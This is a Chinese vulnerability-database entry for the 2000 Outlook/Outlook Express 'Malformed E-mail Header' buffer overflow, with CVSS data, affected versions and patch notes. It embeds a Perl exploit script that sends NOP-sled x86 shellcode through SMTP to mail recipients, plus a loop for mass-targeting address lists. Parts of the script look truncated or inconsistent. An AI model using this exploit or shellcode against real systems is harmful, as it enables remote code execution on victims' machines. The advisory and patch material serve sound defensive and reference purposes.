发布时间 :2000-07-18 00:00:00
修订时间 :2018-05-02 21:29:07

[原文]Buffer overflow in Microsoft Outlook and Outlook Express allows remote attackers to execute arbitrary commands via a long Date field in an email header, aka the "Malformed E-mail Header" vulnerability.

[CNNVD]Microsoft Outlook / Outlook Express GMT字段缓冲区溢出漏洞(CNNVD-200007-048)

        Microsoft Outlook和Outlook Express存在缓冲区溢出漏洞。远程攻击者借助电子邮件头中的超长Date字段执行任意命令,又称为"Malformed E-mail Header"漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:microsoft:outlook:97Microsoft Outlook 97
cpe:/a:microsoft:outlook:98Microsoft Outlook 98
cpe:/a:microsoft:outlook:2000Microsoft Outlook 2000
cpe:/a:microsoft:outlook_express:4.0Microsoft outlook_express 4.0
cpe:/a:microsoft:outlook_express:4.01Microsoft outlook_express 4.01
cpe:/a:microsoft:outlook_express:5.0Microsoft outlook_express 5.0

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  MS  MS00-043
(UNKNOWN)  BID  1481
(UNKNOWN)  XF  outlook-date-overflow(4953)

- 漏洞信息

Microsoft Outlook / Outlook Express GMT字段缓冲区溢出漏洞
中危 缓冲区溢出
2000-07-18 00:00:00 2005-10-12 00:00:00
        Microsoft Outlook和Outlook Express存在缓冲区溢出漏洞。远程攻击者借助电子邮件头中的超长Date字段执行任意命令,又称为"Malformed E-mail Header"漏洞。

- 公告与补丁

        Filters have been made for Sendmail and Postfix to deal with this issue. See the Bugtraq posts in the Credit section for more information.
        This vulnerability may be resolved through installing Internet Explorer 5.01 SP1 or Internet Explorer 5.5 on systems other than Microsoft Windows 2000.
        Vulnerable users of Windows 2000 may resolve this issue by installing Windows 2000 Service Pack 1.
        It has been reported that customers installing the patches on versions of Internet Explorer other than 4.01 SP2 or 5.01 may receive the message 'This update does not need to be installed on this system' when the patch is in fact required. Users are advised to install the patch regardless.
        Patches are available for some systems:
        Microsoft Outlook Express 4.0 1 SP2
        Microsoft Outlook Express 5.0 1

- 漏洞信息 (20078)

Microsoft Outlook 97/98/2000, Outlook Express 4.0/5.0 GMT Field Buffer Overflow (1) (EDBID:20078)
windows remote
2000-07-18 Verified
0 Ussr Labs
N/A [点击下载]

All versions of Microsoft Outlook and Outlook Express are vulnerable to buffer overflow attacks where a remote user is capable of executing arbitrary code on an email recipient's system. 

The problem lies in how Outlook and Outlook Express handles the parsing of the GMT section of the date field in the header of an email when downloading via POP3 or IMAP4. This process is handled by INETCOMM.DLL. Improper bounds checking exists on the token represented by GMT. Therefore, if a malicious user was to send a specially crafted email message containing an unusually long value in the GMT specification, the buffer would be overflowed making arbitrary code execution possible. Sending random data could cause the application to crash.


Date: Tue, 18 July 2000 14:16:06 +1000<long string of characters>

This can also be achieved by encoding the specially formed GMT field as a MIME attachment in Outlook's MIME attached message format.

This lends itself to the possibility of a myriad of exploits, such as the execution of trojan horses, the spread of worms, gaining user level access on the target host, etc. automatically without the email recipient's consent to open an attachment or run an executable.

A user would only have to download an offending email in order to become susceptible to an attack.

# Ussr Labs (Exploiteable Buffer Overflow)
# Outlook Express 5.0 | Outlook 2000 | Outlook 97.0 | Outlook 98
# By: Ussr Labs
# Arbitary shellcode injector over SMTP
# ./$0 -h <server hostname>  -m <mail>
# ./ -h <smtp server> -m
#For Multiple email's Spanwn do something like this:
# for i in `cat emailshere.txt`; do perl ./ -h smtpserverip -m $i; done

use Getopt::Std;
use Socket;
getopt('h:m', \%args);

# user defined variables

# These are the escape characters which will cause the seg violation.
# *nix didn't like the ascii interpretation, so we send the
# characters in hex.
# +,1 ,� ,^ ,� ,z ,� ,x 

$spawn = "\x2b\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .
	"\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31" .

$shellcode = "\xE8\x00\x00\x00\x00\x5D\x81\xED\x40\x10\x40\x00\x81\xC4\x00" .
	"\x03\x00\x00\xB8\x38\x10\x00\x01\x8B\x00\x89\x85\x0B\x11\x40\x00" .
	"\x8C\xC8\xA8\x04\x75\x08\x8B\x85\x1F\x11\x40\x00\xEB\x06\x8B\x85" .
	"\x23\x11\x40\x00\x89\x85\x1F\x11\x40\x00\x8D\x8D\x42\x11\x40\x00" .
	"\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x0F\x11\x40\x00\x8D\x8D" .
	"\x53\x11\x40\x00\x51\xFF\x95\x0F\x11\x40\x00\x8D\x8D\x34\x11\x40" .
	"\x00\x51\x50\xFF\x95\x0B\x11\x40\x00\x89\x85\x13\x11\x40\x00\x8B" .
	"\x85\x1F\x11\x40\x00\x8D\x8D\x27\x11\x40\x00\x51\x50\xFF\x95\x0B" .
	"\x11\x40\x00\x89\x85\x17\x11\x40\x00\x8D\x85\x1B\x11\x40\x00\x50" .
	"\x6A\x00\x6A\x00\x8D\x85\xE3\x10\x40\x00\x50\x6A\x00\x6A\x00\x8B" .
	"\x85\x17\x11\x40\x00\xFF\xD0\xEB\xFE\x60\xE8\x00\x00\x00\x00\x5D" .
	"\x81\xED\xE9\x10\x40\x00\x6A\x00\x6A\x00\x6A\x00\x8D\xB5\x5F\x11" .
	"\x40\x00\x56\x6A\x00\x6A\x00\xFF\x95\x13\x11\x40\x00\x61\xC2\x10" .
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" .
	"\x00\x00\x00\x00\x00\x00\x00\xF0\x77\x00\x00\xF7\xBF\x43\x72\x65" .
	"\x61\x74\x65\x54\x68\x72\x65\x61\x64\x00\x53\x68\x65\x6C\x6C\x45" .
	"\x78\x65\x63\x75\x74\x65\x41\x00\x47\x65\x74\x4D\x6F\x64\x75\x6C" .
	"\x65\x48\x61\x6E\x64\x6C\x65\x41\x00\x73\x68\x65\x6C\x6C\x33\x32" .
	"\x2E\x64\x6C\x6C\x00\x77\x77\x77\x2E\x75\x73\x73\x72\x62\x61\x63" .

$ret = "00aedc5a";						# return address
$nop = "\x90";							# x86 NOP
$port = 25;							# default 25 SMTP port
$buffsize = "1348";						# buffer size
$buffer .= $nop x 945;						# load $buffer with 945 NOP then $shellcode
$buffer .= $shellcode;						# append shellcode to buffer
$offset = (hex $ret);						# return hex string to corresponding value
$code = pack("N", $offset);					# big-endian (long) network order
while (length $buffer < $buffsize) { $buffer .= $code; }
$buffer .= "\n\n";
print "$code\n";

# create random MAIL FROM field. format is: [ alphanumeric ] @ [ characters ] . [ domain ]

$max=(int rand 15);
@a=('a'..'z', '1'..'10'); for (1..$max) { $str .= $a[rand @a] }
@a=('a'..'z'); for (1..$max) { $host .= $a[rand @a] }
@dom = ('.com', '.net', '.org');
$rdom = $dom[ rand @dom ];
$rmail = $str . "@" . $host . $dom;
print "random address set to: $rmail\n";

# random date method, format: Date: <day>, <int-day> <month> 2000 <time>

@days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun');
$rday = $days[ rand @days ];
$rcal=(int rand(31));
$rhour=(int rand(23)); if ($rhour < 10){ $rhour = "0".$rhour; }
$rmin=(int rand(59)); if ($rmin < 10){ $rmin = "0".$rmin; }
$rsec=(int rand(59)); if ($rsec < 10){ $rsec = "0".$rsec; }
@months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Oct', 'Sep', 'Nov', 'Dec');
$rmonth = $months[ rand @months ];
$date = "Date: ".$rday.","; if ( $rcal >9 ){$date = $date."$rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
else { $date = $date." $rcal"." $rmonth"." 2000 ".$rhour.":".$rmin.":".$rsec," ";}
print "date set to: $date\n";

$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(S, $paddr) || die("Error: $!\n");
select(S); $| = 1; select(STDOUT);

# begin our SMTP transaction

print "now starting SMTP transaction\n";
$res=<S>; print "$res\n";
print "sending HELO\n";
system("sleep 2s");
print S "HELO\r\n";
$res=<S>; print "$res\n";

print "sending MAIL FROM\n";
system("sleep 2s");
print S "MAIL FROM:$rmail\r\n";
$res=<S>; print "$res\n";

print "sending RCPT\n";
system("sleep 2s");
print S "RCPT TO:$rcpt\r\n";
$res=<S>; print "$res\n";

print "sending DATA\n";
system("sleep 2s");
print S "DATA\r\n";
$res=<S>; print "$res\n";

print "sending escape characters\n";
print S "$date";
print S " $spawn";

print "sending shellcode\n";
print S "$shellcode\r\n\r\n\r\n";
#$res=<S>; print "$res\n";
print S ".\r\n";
print S "QUIT\r\n";

print "shellcode spawn was successful\n";

sub usage {die("\n\n./$0 -h <hostname> -m <mail>\n\n");}		

- 漏洞信息

Microsoft Outlook/Express GMT Field Buffer Overflow
Context Dependent Input Manipulation
Loss of Integrity Patch / RCS
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2000-06-19 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known workarounds or upgrades to correct this issue. However, Microsoft has released a patch to address this vulnerability. Check the vendor advisory or solution in the references section.

- 相关参考

- 漏洞作者

Unknown or Incomplete